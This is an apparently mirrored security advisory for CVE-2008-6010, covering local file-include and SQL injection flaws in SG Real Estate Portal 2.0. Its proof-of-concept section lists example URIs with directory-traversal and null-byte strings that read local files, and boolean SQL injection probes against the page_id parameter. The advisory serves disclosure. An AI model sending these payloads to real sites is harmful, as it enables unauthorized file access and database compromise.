SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities

BID:31489

Info

SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities

Bugtraq ID: 31489
Class: Input Validation Error
CVE: CVE-2008-6010
Remote: Yes
Local: No
Published: Sep 30 2008 12:00AM
Updated: May 07 2015 05:23PM
Credit: SirGod
Vulnerable: SG Real Estate Portal SG Real Estate Portal 2.0
Not Vulnerable:

Discussion

SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities

SG Real Estate Portal is prone to multiple local file-include vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SG Real Estate Portal 2.0 is vulnerable; other versions may also be affected.

Exploit / POC

SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities

Attackers can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/path/index.php?mod=../../../../autoexec.bat%00
http://www.example.com/path/index.php?page=/../../../../autoexec.bat%00
http://www.example.com/path/index.php?lang=/../../../../autoexec.bat%00&page_id=106
http://www.example.com/path/admin/index.php?category=security&action=../../../../../autoexec.bat%00
http://www.example.com/path/admin/index.php?category=security&folder=../../../../. /autoexec.bat%00page=params&id=8
http://www.example.com/path/index.php?lang=EN&page_id=106 and 1=1
http://www.example.com/path/index.php?lang=EN&page_id=106 and 1=2

The following exploit code is available:

Solution / Fix

SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report